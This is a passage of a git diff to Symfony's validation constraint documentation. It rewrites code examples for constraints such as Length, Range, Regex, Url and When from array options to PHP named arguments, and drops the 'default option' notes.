+                $metadata->addPropertyConstraint('age', new Assert\EqualTo(
+                    value: 20,
+                ));
             }
         }
 
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index bf015d17573..518c5c1f160 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -111,10 +111,10 @@ One way to accomplish this is with the Expression constraint:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addConstraint(new Assert\Expression([
-                    'expression' => 'this.getCategory() in ["php", "symfony"] or !this.isTechnicalPost()',
-                    'message' => 'If this is a tech post, the category should be either php or symfony!',
-                ]));
+                $metadata->addConstraint(new Assert\Expression(
+                    expression: 'this.getCategory() in ["php", "symfony"] or !this.isTechnicalPost()',
+                    message: 'If this is a tech post, the category should be either php or symfony!',
+                ));
             }
 
             // ...
@@ -200,10 +200,10 @@ assert that the expression must return ``true`` for validation to fail.
             {
                 public static function loadValidatorMetadata(ClassMetadata $metadata): void
                 {
-                    $metadata->addPropertyConstraint('isTechnicalPost', new Assert\Expression([
-                        'expression' => 'this.getCategory() in ["php", "symfony"] or value == false',
-                        'message' => 'If this is a tech post, the category should be either php or symfony!',
-                    ]));
+                    $metadata->addPropertyConstraint('isTechnicalPost', new Assert\Expression(
+                        expression: 'this.getCategory() in ["php", "symfony"] or value == false',
+                        message: 'If this is a tech post, the category should be either php or symfony!',
+                    ));
                 }
 
                 // ...
@@ -227,7 +227,7 @@ Options
 ``expression``
 ~~~~~~~~~~~~~~
 
-**type**: ``string`` [:ref:`default option <validation-default-option>`]
+**type**: ``string``
 
 The expression that will be evaluated. If the expression evaluates to a false
 value (using ``==``, not ``===``), validation will fail. Learn more about the
@@ -343,10 +343,10 @@ type (numeric, boolean, strings, null, etc.)
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('metric', new Assert\Expression([
-                    'expression' => 'value + error_margin < threshold',
-                    'values' => ['error_margin' => 0.25, 'threshold' => 1.5],
-                ]));
+                $metadata->addPropertyConstraint('metric', new Assert\Expression(
+                    expression: 'value + error_margin < threshold',
+                    values: ['error_margin' => 0.25, 'threshold' => 1.5],
+                ));
             }
 
             // ...
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index c1d086790c1..37e0ad7de4a 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -90,9 +90,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('promotion', new Assert\ExpressionSyntax());
 
-                $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionSyntax([
-                    'allowedVariables' => ['user', 'shipping_centers'],
-                ]));
+                $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionSyntax(
+                    allowedVariables: ['user', 'shipping_centers'],
+                ));
             }
         }
 
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 6d9b72d17b8..495c19f9cbe 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -119,13 +119,13 @@ below a certain file size and a valid PDF, add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bioFile', new Assert\File([
-                    'maxSize' => '1024k',
-                    'extensions' => [
+                $metadata->addPropertyConstraint('bioFile', new Assert\File(
+                    maxSize: '1024k',
+                    extensions: [
                         'pdf',
                     ],
-                    'extensionsMessage' => 'Please upload a valid PDF',
-                ]));
+                    extensionsMessage: 'Please upload a valid PDF',
+                ));
             }
         }
 
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 4f2e34bcbfa..d1b79028acd 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -89,9 +89,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\GreaterThan(5));
 
-                $metadata->addPropertyConstraint('age', new Assert\GreaterThan([
-                    'value' => 18,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\GreaterThan(
+                    value: 18,
+                ));
             }
         }
 
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index e5a71e5f788..63c2ade6197 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -88,9 +88,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\GreaterThanOrEqual(5));
 
-                $metadata->addPropertyConstraint('age', new Assert\GreaterThanOrEqual([
-                    'value' => 18,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\GreaterThanOrEqual(
+                    value: 18,
+                ));
             }
         }
 
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 95b10d1736e..58ac0364669 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -72,9 +72,9 @@ will contain a host name.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('name', new Assert\Hostname([
-                    'message' => 'The server name must be a valid hostname.',
-                ]));
+                $metadata->addPropertyConstraint('name', new Assert\Hostname(
+                    message: 'The server name must be a valid hostname.',
+                ));
             }
         }
 
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 3cf800200e2..8d5982eea6d 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -77,9 +77,9 @@ will contain an International Bank Account Number.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban([
-                    'message' => 'This is not a valid International Bank Account Number (IBAN).',
-                ]));
+                $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban(
+                    message: 'This is not a valid International Bank Account Number (IBAN).',
+                ));
             }
         }
 
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 5b6d853dc0b..f8844f90a72 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -94,9 +94,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\IdenticalTo('Mary'));
 
-                $metadata->addPropertyConstraint('age', new Assert\IdenticalTo([
-                    'value' => 20,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\IdenticalTo(
+                    value: 20,
+                ));
             }
         }
 
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 23fbe5a157a..5dd270c44f8 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -116,12 +116,12 @@ that it is between a certain size, add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('headshot', new Assert\Image([
-                    'minWidth' => 200,
-                    'maxWidth' => 400,
-                    'minHeight' => 200,
-                    'maxHeight' => 400,
-                ]));
+                $metadata->addPropertyConstraint('headshot', new Assert\Image(
+                    minWidth: 200,
+                    maxWidth: 400,
+                    minHeight: 200,
+                    maxHeight: 400,
+                ));
             }
         }
 
@@ -187,10 +187,10 @@ following code:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('headshot', new Assert\Image([
-                    'allowLandscape' => false,
-                    'allowPortrait' => false,
-                ]));
+                $metadata->addPropertyConstraint('headshot', new Assert\Image(
+                    allowLandscape: false,
+                    allowPortrait: false,
+                ));
             }
         }
 
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 0b9ebe77491..3d0a1665944 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -93,9 +93,9 @@ method returns **false**:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse([
-                    'message' => "You've entered an invalid state.",
-                ]));
+                $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse(
+                    message: "You've entered an invalid state.",
+                ));
             }
 
             public function isStateInvalid(): bool
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 678371f6e69..b50ba4f3e8b 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -97,9 +97,9 @@ Then you can validate this method with ``IsTrue`` as follows:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addGetterConstraint('tokenValid', new IsTrue([
-                    'message' => 'The token is invalid.',
-                ]));
+                $metadata->addGetterConstraint('tokenValid', new IsTrue(
+                    message: 'The token is invalid.',
+                ));
             }
 
             public function isTokenValid(): bool
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 954bff233d5..52d10565fe5 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -76,10 +76,10 @@ on an object that will contain an ISBN.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('isbn', new Assert\Isbn([
-                    'type' => Assert\Isbn::ISBN_10,
-                    'message' => 'This value is not valid.',
-                ]));
+                $metadata->addPropertyConstraint('isbn', new Assert\Isbn(
+                    type: Assert\Isbn::ISBN_10,
+                    message: 'This value is not valid.',
+                ));
             }
         }
 
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 28e15976f3c..337b2dc6a1e 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -69,9 +69,9 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('chapters', new Assert\Json([
-                    'message' => 'You\'ve entered an invalid Json.',
-                ]));
+                $metadata->addPropertyConstraint('chapters', new Assert\Json(
+                    message: 'You\'ve entered an invalid Json.',
+                ));
             }
         }
 
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 9a4478f509b..c1a8575070b 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -85,12 +85,12 @@ and ``50``, you might add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('firstName', new Assert\Length([
-                    'min' => 2,
-                    'max' => 50,
-                    'minMessage' => 'Your first name must be at least {{ limit }} characters long',
-                    'maxMessage' => 'Your first name cannot be longer than {{ limit }} characters',
-                ]));
+                $metadata->addPropertyConstraint('firstName', new Assert\Length(
+                    min: 2,
+                    max: 50,
+                    minMessage: 'Your first name must be at least {{ limit }} characters long',
+                    maxMessage: 'Your first name cannot be longer than {{ limit }} characters',
+                ));
             }
         }
 
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 964bfbb3527..3d23bcda445 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -89,9 +89,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\LessThan(5));
 
-                $metadata->addPropertyConstraint('age', new Assert\LessThan([
-                    'value' => 80,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\LessThan(
+                    value: 80,
+                ));
             }
         }
 
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 9420c3e4376..ac66c62d7d0 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -88,9 +88,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\LessThanOrEqual(5));
 
-                $metadata->addPropertyConstraint('age', new Assert\LessThanOrEqual([
-                    'value' => 80,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\LessThanOrEqual(
+                    value: 80,
+                ));
             }
         }
 
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index 49edd473d05..4bba45ae12b 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -78,9 +78,9 @@ Basic Usage
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('locale', new Assert\Locale([
-                    'canonicalize' => true,
-                ]));
+                $metadata->addPropertyConstraint('locale', new Assert\Locale(
+                    canonicalize: true,
+                ));
             }
         }
 
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 8f5ef34c4ba..0c835204091 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -72,9 +72,9 @@ will contain a credit card number.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('cardNumber', new Assert\Luhn([
-                    'message' => 'Please check your credit card number',
-                ]));
+                $metadata->addPropertyConstraint('cardNumber', new Assert\Luhn(
+                    message: 'Please check your credit card number',
+                ));
             }
         }
 
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index b8ee4cac32f..dd3f633b4a1 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -93,9 +93,9 @@ the following:
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotEqualTo('Mary'));
 
-                $metadata->addPropertyConstraint('age', new Assert\NotEqualTo([
-                    'value' => 15,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\NotEqualTo(
+                    value: 15,
+                ));
             }
         }
 
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 9ea93dc4b86..b2c20027292 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -94,9 +94,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo('Mary'));
 
-                $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo([
-                    'value' => 15,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo(
+                    value: 15,
+                ));
             }
         }
 
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 60125a763a1..0b242cacf08 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -101,9 +101,9 @@ or by a custom password strength estimator.
 
     class User
     {
-        #[Assert\PasswordStrength([
-            'minScore' => PasswordStrength::STRENGTH_VERY_STRONG, // Very strong password required
-        ])]
+        #[Assert\PasswordStrength(
+            minScore: PasswordStrength::STRENGTH_VERY_STRONG, // Very strong password required
+        )]
         protected $rawPassword;
     }
 
@@ -123,9 +123,9 @@ The default message supplied when the password does not reach the minimum requir
 
     class User
     {
-        #[Assert\PasswordStrength([
-            'message' => 'Your password is too easy to guess. Company\'s security policy requires to use a stronger password.'
-        ])]
+        #[Assert\PasswordStrength(
+            message: 'Your password is too easy to guess. Company\'s security policy requires to use a stronger password.'
+        )]
         protected $rawPassword;
     }
 
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index edd199c48b9..46a9e3799b3 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -78,11 +78,11 @@ you might add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('height', new Assert\Range([
-                    'min' => 120,
-                    'max' => 180,
-                    'notInRangeMessage' => 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
-                ]));
+                $metadata->addPropertyConstraint('height', new Assert\Range(
+                    min: 120,
+                    max: 180,
+                    notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
+                ));
             }
         }
 
@@ -154,10 +154,10 @@ date must lie within the current year like this:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('startDate', new Assert\Range([
-                    'min' => 'first day of January',
-                    'max' => 'first day of January next year',
-                ]));
+                $metadata->addPropertyConstraint('startDate', new Assert\Range(
+                    min: 'first day of January',
+                    max: 'first day of January next year',
+                ));
             }
         }
 
@@ -224,10 +224,10 @@ dates. If you want to fix the timezone, append it to the date string:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('startDate', new Assert\Range([
-                    'min' => 'first day of January UTC',
-                    'max' => 'first day of January next year UTC',
-                ]));
+                $metadata->addPropertyConstraint('startDate', new Assert\Range(
+                    min: 'first day of January UTC',
+                    max: 'first day of January next year UTC',
+                ));
             }
         }
 
@@ -294,10 +294,10 @@ can check that a delivery date starts within the next five hours like this:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('deliveryDate', new Assert\Range([
-                    'min' => 'now',
-                    'max' => '+5 hours',
-                ]));
+                $metadata->addPropertyConstraint('deliveryDate', new Assert\Range(
+                    min: 'now',
+                    max: '+5 hours',
+                ));
             }
         }
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 2e11a8d04fc..e3b4d4711b2 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -71,9 +71,9 @@ more word characters at the beginning of your string:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('description', new Assert\Regex([
-                    'pattern' => '/^\w+/',
-                ]));
+                $metadata->addPropertyConstraint('description', new Assert\Regex(
+                    pattern: '/^\w+/',
+                ));
             }
         }
 
@@ -145,11 +145,11 @@ it a custom message:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('firstName', new Assert\Regex([
-                    'pattern' => '/\d/',
-                    'match' => false,
-                    'message' => 'Your name cannot contain a number',
-                ]));
+                $metadata->addPropertyConstraint('firstName', new Assert\Regex(
+                    pattern: '/\d/',
+                    match: false,
+                    message: 'Your name cannot contain a number',
+                ));
             }
         }
 
@@ -236,10 +236,10 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('name', new Assert\Regex([
-                    'pattern' => '/^[a-z]+$/i',
-                    'htmlPattern' => '[a-zA-Z]+',
-                ]));
+                $metadata->addPropertyConstraint('name', new Assert\Regex(
+                    pattern: '/^[a-z]+$/i',
+                    htmlPattern: '[a-zA-Z]+',
+                ));
             }
         }
 
@@ -275,7 +275,7 @@ Parameter          Description
 ``pattern``
 ~~~~~~~~~~~
 
-**type**: ``string`` [:ref:`default option <validation-default-option>`]
+**type**: ``string``
 
 This required option is the regular expression pattern that the input will
 be matched against. By default, this validator will fail if the input string
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 7620997f0a3..078be338cdf 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -110,7 +110,7 @@ You can validate each of these constraints sequentially to solve these issues:
                 $metadata->addPropertyConstraint('address', new Assert\Sequentially([
                     new Assert\NotNull(),
                     new Assert\Type('string'),
-                    new Assert\Length(['min' => 10]),
+                    new Assert\Length(min: 10),
                     new Assert\Regex(self::ADDRESS_REGEX),
                     new AcmeAssert\Geolocalizable(),
                 ]));
@@ -123,7 +123,7 @@ Options
 ``constraints``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 This required option is the array of validation constraints that you want
 to apply sequentially.
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index b99e8ce1c54..b49536dff8b 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -127,14 +127,14 @@ The following example checks if ``emailAddress`` is an instance of ``Symfony\Com
 
                 $metadata->addPropertyConstraint('firstName', new Assert\Type('string'));
 
-                $metadata->addPropertyConstraint('age', new Assert\Type([
-                    'type' => 'integer',
-                    'message' => 'The value {{ value }} is not a valid {{ type }}.',
-                ]));
-
-                $metadata->addPropertyConstraint('accessCode', new Assert\Type([
-                    'type' => ['alpha', 'digit'],
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\Type(
+                    type: 'integer',
+                    message: 'The value {{ value }} is not a valid {{ type }}.',
+                ));
+
+                $metadata->addPropertyConstraint('accessCode', new Assert\Type(
+                    type: ['alpha', 'digit'],
+                ));
             }
         }
 
@@ -169,7 +169,7 @@ Parameter        Description
 ``type``
 ~~~~~~~~
 
-**type**: ``string`` or ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``string`` or ``array``
 
 This required option defines the type or collection of types allowed for the
 given value. Each type is either the FQCN (fully qualified class name) of some
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 68754738271..a1be67d6f2f 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -162,9 +162,9 @@ collection::
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('coordinates', new Assert\Unique([
-                    'fields' => ['latitude', 'longitude'],
-                ]));
+                $metadata->addPropertyConstraint('coordinates', new Assert\Unique(
+                    fields: ['latitude', 'longitude'],
+                ));
             }
         }
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index d4fbfeb8666..e819a8009dc 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -95,9 +95,9 @@ between all of the rows in your user table:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addConstraint(new UniqueEntity([
-                    'fields' => 'email',
-                ]));
+                $metadata->addConstraint(new UniqueEntity(
+                    fields: 'email',
+                ));
 
                 $metadata->addPropertyConstraint('email', new Assert\Email());
             }
@@ -260,7 +260,7 @@ Now, the message would be bound to the ``port`` field with this configuration.
 ``fields``
 ~~~~~~~~~~
 
-**type**: ``array`` | ``string`` [:ref:`default option <validation-default-option>`]
+**type**: ``array`` | ``string``
 
 This required option is the field (or list of fields) on which this entity
 should be unique. For example, if you specified both the ``email`` and ``name``
@@ -346,10 +346,10 @@ this option to specify one or more fields to only ignore ``null`` values on them
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addConstraint(new UniqueEntity([
-                    'fields' => ['email', 'phoneNumber'],
-                    'ignoreNull' => 'phoneNumber',
-                ]));
+                $metadata->addConstraint(new UniqueEntity(
+                    fields: ['email', 'phoneNumber'],
+                    ignoreNull: 'phoneNumber',
+                ));
 
                 // ...
             }
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 74f0d750dfd..fbeaa6da522 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -152,9 +152,9 @@ Parameter        Description
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
-                    'message' => 'The url "{{ value }}" is not a valid url.',
-                ]));
+                $metadata->addPropertyConstraint('bioUrl', new Assert\Url(
+                    message: 'The url "{{ value }}" is not a valid url.',
+                ));
             }
         }
 
@@ -231,9 +231,9 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
-                    'protocols' => ['http', 'https', 'ftp'],
-                ]));
+                $metadata->addPropertyConstraint('bioUrl', new Assert\Url(
+                    protocols: ['http', 'https', 'ftp'],
+                ));
             }
         }
 
@@ -302,9 +302,9 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
-                    'relativeProtocol' => true,
-                ]));
+                $metadata->addPropertyConstraint('bioUrl', new Assert\Url(
+                    relativeProtocol: true,
+                ));
             }
         }
 
@@ -414,10 +414,10 @@ Parameter        Description
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('homepageUrl', new Assert\Url([
-                    'requireTld' => true,
-                    'tldMessage' => 'Add at least one TLD to the {{ value }} URL.',
-                ]));
+                $metadata->addPropertyConstraint('homepageUrl', new Assert\Url(
+                    requireTld: true,
+                    tldMessage: 'Add at least one TLD to the {{ value }} URL.',
+                ));
             }
         }
 
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1f99b666419..61a2c1d992c 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -149,7 +149,7 @@ stores an ``Address`` instance in the ``$address`` property::
             {
                 $metadata->addPropertyConstraint('street', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('zipCode', new Assert\NotBlank());
-                $metadata->addPropertyConstraint('zipCode', new Assert\Length(['max' => 5]));
+                $metadata->addPropertyConstraint('zipCode', new Assert\Length(max: 5));
             }
         }
 
@@ -166,7 +166,7 @@ stores an ``Address`` instance in the ``$address`` property::
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
-                $metadata->addPropertyConstraint('firstName', new Assert\Length(['min' => 4]));
+                $metadata->addPropertyConstraint('firstName', new Assert\Length(min: 4));
                 $metadata->addPropertyConstraint('lastName', new Assert\NotBlank());
             }
         }
diff --git a/reference/constraints/Week.rst b/reference/constraints/Week.rst
index f107d8b4192..b3c1b0ca122 100644
--- a/reference/constraints/Week.rst
+++ b/reference/constraints/Week.rst
@@ -79,10 +79,10 @@ the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('startWeek', new Assert\Week([
-                    'min' => '2022-W01',
-                    'max' => '2022-W20',
-                ]));
+                $metadata->addPropertyConstraint('startWeek', new Assert\Week(
+                    min: '2022-W01',
+                    max: '2022-W20',
+                ));
             }
         }
 
diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 2a05e58ee9c..ec21eca9784 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -127,15 +127,15 @@ One way to accomplish this is with the When constraint:
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('value', new Assert\GreaterThan(0));
-                $metadata->addPropertyConstraint('value', new Assert\When([
-                    'expression' => 'this.getType() == "percent"',
-                    'constraints' => [
-                        new Assert\LessThanOrEqual([
-                            'value' => 100,
-                            'message' => 'The value should be between 1 and 100!',
-                        ]),
+                $metadata->addPropertyConstraint('value', new Assert\When(
+                    expression: 'this.getType() == "percent"',
+                    constraints: [
+                        new Assert\LessThanOrEqual(
+                            value: 100,
+                            message: 'The value should be between 1 and 100!',
+                        ),
                     ],
-                ]));
+                ));
             }
 
             // ...
@@ -256,12 +256,12 @@ validation based on its value:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('type', new Assert\When([
-                    'expression' => 'value == "percent"',
-                    'constraints' => [
+                $metadata->addPropertyConstraint('type', new Assert\When(
+                    expression: 'value == "percent"',
+                    constraints: [
                         new Assert\Callback('doComplexValidation'),
                     ],
-                ]));
+                ));
             }
 
             public function doComplexValidation(ExecutionContextInterface $context, $payload): void
diff --git a/reference/constraints/WordCount.rst b/reference/constraints/WordCount.rst
index 74c79216898..392f8a5bcb7 100644
--- a/reference/constraints/WordCount.rst
+++ b/reference/constraints/WordCount.rst
@@ -78,10 +78,10 @@ class contains between 100 and 200 words, you could do the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('content', new Assert\WordCount([
-                    'min' => 100,
-                    'max' => 200,
-                ]));
+                $metadata->addPropertyConstraint('content', new Assert\WordCount(
+                    min: 100,
+                    max: 200,
+                ));
             }
         }
 
diff --git a/reference/constraints/Yaml.rst b/reference/constraints/Yaml.rst
index 49b65f251e8..0d1564f4f8a 100644
--- a/reference/constraints/Yaml.rst
+++ b/reference/constraints/Yaml.rst
@@ -73,9 +73,9 @@ The ``Yaml`` constraint can be applied to a property or a "getter" method:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml([
-                    'message' => 'Your configuration doesn\'t have valid YAML syntax.',
-                ]));
+                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml(
+                    message: 'Your configuration doesn\'t have valid YAML syntax.',
+                ));
             }
         }
 
@@ -122,10 +122,10 @@ Its value is a combination of one or more of the :ref:`flags defined by the Yaml
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml([
-                    'message' => 'Your configuration doesn\'t have valid YAML syntax.',
-                    'flags' => Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME,
-                ]));
+                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml(
+                    message: 'Your configuration doesn\'t have valid YAML syntax.',
+                    flags: Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME,
+                ));
             }
         }
 
diff --git a/reference/constraints/_comparison-value-option.rst.inc b/reference/constraints/_comparison-value-option.rst.inc
index c8abdfb5af0..91ab28a2e94 100644
--- a/reference/constraints/_comparison-value-option.rst.inc
+++ b/reference/constraints/_comparison-value-option.rst.inc
@@ -1,7 +1,7 @@
 ``value``
 ~~~~~~~~~
 
-**type**: ``mixed`` [:ref:`default option <validation-default-option>`]
+**type**: ``mixed``
 
 This option is required. It defines the comparison value. It can be a
 string, number or object.
diff --git a/validation.rst b/validation.rst
index 4905283b18b..cfa8154b627 100644
--- a/validation.rst
